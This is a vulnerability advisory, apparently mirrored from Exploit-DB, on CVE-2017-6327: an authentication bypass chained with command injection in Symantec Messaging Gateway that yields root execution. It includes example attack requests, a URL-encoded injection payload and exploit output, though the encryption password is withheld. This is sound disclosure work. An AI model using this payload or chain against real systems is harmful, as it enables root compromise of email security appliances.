标题: Symantec Messaging Gateway 10.6.3-2 - Root Remote Command Execution EDB-ID: 42519 CVE: 2017-6327 类型: WEBAPPS 平台: JSP 发布日期: 2017-08-18 漏洞利用脚本: This is an advisory for CVE-2017-6327 which is an unauthenticated remote
code execution flaw in the web interface of Symantec Messaging Gateway
prior to and including version 10.6.3-2, which can be used to execute
commands as root.

Symantec Messaging Gateway, formerly known as Brightmail, is a linux-based
anti-spam/security product for e-mail servers. It is deployed as a physical
device or with ESX in close proximity to the servers it is designed to
protect.

=*=*=*=*=*=*=*=*=    TIMELINE

2017-07-07: Reported to Symantec
2017-08-10: Patch and notice released by Symantec [1]
2017-08-18: Public technical advisory

=*=*=*=*=*=*=*=*=    DESCRIPTION

- Bug #1: Web authentication bypass

The web management interface is available via HTTPS, and you can't do much
without logging in.

If the current session (identified by the `JSESSIONID` cookie) has the
`user` attribute set, the session is considered authenticated.

The file LoginAction.class defines a number of public methods and they can
all be reached via unauthenticated web requests.

By making a GET request to `/brightmail/action1.do?method=method_name` we
can execute `LoginAction.method_name` if `method_name` is a public method.

One such public method which will be the target of our authentication
bypass is called `LoginAction.notificationLogin`.

It does the following:

1. Decrypt the `notify` parameter using `BrightmailDecrypt.decrypt`
2. Creates a new `UserTO` object using the decrypted `notify` parameter as
an email value
3. Creates a new session, invalidating the old one if necessary
4. Sets the `user` attribute of the newly created session to our
constructed UserTO object

It essentially takes a username value from a GET parameter and logs you in
as this user if it exists. If not, it creates this user for you.

We need to encrypt our `notify` argument so that
`BrightmailDecrypt.decrypt` will decrypt it properly. Fortunately the
encryption is just PBEWithMD5AndDES using a static password, conveniently
included in the code itself. I won't include the encryption password or a
fully encrypted notify string in this post.


Example request:

GET
/brightmail/action1.do?method=notificationLogin&notify=MTIzNDU2Nzg%3d6[...]&id=test
HTTP/1.1
...


HTTP/1.1 302 Found
Server: Apache-Coyote/1.1
...
Set-Cookie: JSESSIONID=9E45E9F70FAC0AADAC9EB7A03532F65D; Path=/brightmail;
Secure; HttpOnly


- Bug #2: Command injection

The RestoreAction.performRestore method can be reached with an
authenticated session and it takes the restoreSource and
localBackupFilename parameters.

After a long chain of function calls, localBackupFilename ends up being
sent to the local "bmagent" daemon listening on port 41002. It will execute
/opt/Symantec/Brightmail/cli/bin/db-restore with argv[1] being our supplied
value.

The db-restore script is a sudo wrapper for
/opt/Symantec/Brightmail/cli/sbin/db-restore, which in turn is a perl
script containing a command injection in a call to /usr/bin/du.

$ /opt/Symantec/Brightmail/cli/bin/db-restore 'asdf;"`id`";'
/usr/bin/du: cannot access `/data/backups/asdf': No such file or directory
sh: uid=0(root) gid=0(root) groups=0(root): command not found
ERROR: Failed to copy 'asdf;"`id`";' from local backup store: No such file
or directory


This command injection can be exploited from the web management interface
with a valid session, which we can create using bug #1.

- Combining bug #1 and #2

The last step is to get a CSRF token since the vulnerable performRestore
function is annotated with @CSRF.

After some quick digging it turns out that all you need to do is call
/brightmail/common.jsp to get a token that will be valid for all your
requests.

The URL-encoded value we provide for the `localBackupFileSelection`
parameter is:
asdf`id>/data/bcc/webapps/brightmail/output.txt;/bin/uname
-a>>/data/bcc/webapps/brightmail/output.txt`hehehe

Request:

GET
/brightmail/admin/restore/action5.do?method=performRestore&symantec.brightmail.key.TOKEN=bbda9b0a52bca4a43cc2b6051cd6b95900068cd3&restoreSource=APPLIANCE&localBackupFileSelection=%61%73%64%66%60%69%64%3e%2f%64%61%74%61%2f%62%63%63%2f%77%65%62%61%70%70%73%2f%62%72%69%67%68%74%6d%61%69%6c%2f%6f%75%74%70%75%74%2e%74%78%74%3b%2f%62%69%6e%2f%75%6e%61%6d%65%20%2d%61%3e%3e%2f%64%61%74%61%2f%62%63%63%2f%77%65%62%61%70%70%73%2f%62%72%69%67%68%74%6d%61%69%6c%2f%6f%75%74%70%75%74%2e%74%78%74%60%68%65%68%65%68%65
HTTP/1.1
Host: 192.168.205.220
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0)
Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=34D61B34698831DB765A9DD5E0049D0B
Connection: close
Upgrade-Insecure-Requests: 1

Response:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-store,no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
Content-Length: 803
Date: Thu, 29 Jun 2017 06:48:12 GMT
Connection: close

<HTML>
<title>Symantec Messaging Gateway -&nbsp;Restore</title>
...


Now to confirm that our command output was correctly placed in a file
inside the webroot.

imac:~% curl -k https://192.168.205.220/brightmail/output.txt
uid=0(root) gid=0(root) groups=0(root)
Linux localhost.localdomain 2.6.32-573.3.1.el6.x86_64 #1 SMP Thu Aug 13
22:55:16 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux


=*=*=*=*=*=*=*=*=    EXPLOIT OUTPUT

imac:~/brightmail% python brightmail-rce.py
https://192.168.205.220/brightmail
bypassing login..
* JSESSIONID=693079639299816F80016123BE8A0167
verifying login bypass..
* Version: 10.6.3
getting csrf token..
* 1e35af8c567d3448a65c8516a835cec30b6b8b73
done, verifying..

uid=501(bcc) gid=99(nobody) euid=0(root) egid=0(root)
groups=0(root),99(nobody),499(mysql),502(bcc)
Linux localhost.localdomain 2.6.32-573.3.1.el6.x86_64 #1 SMP Thu Aug 13
22:55:16 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux


# cat /etc/issue

Symantec Messaging Gateway
Version 10.6.3-2
Copyright (c) 1998-2017 Symantec Corporation.  All rights reserved.


=*=*=*=*=*=*=*=*=    REFERENCES

[1]
https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20170810_00

=*=*=*=*=*=*=*=*=    CREDIT

Philip Pettersson URL: https://www.exploit-db.com/exploits/42519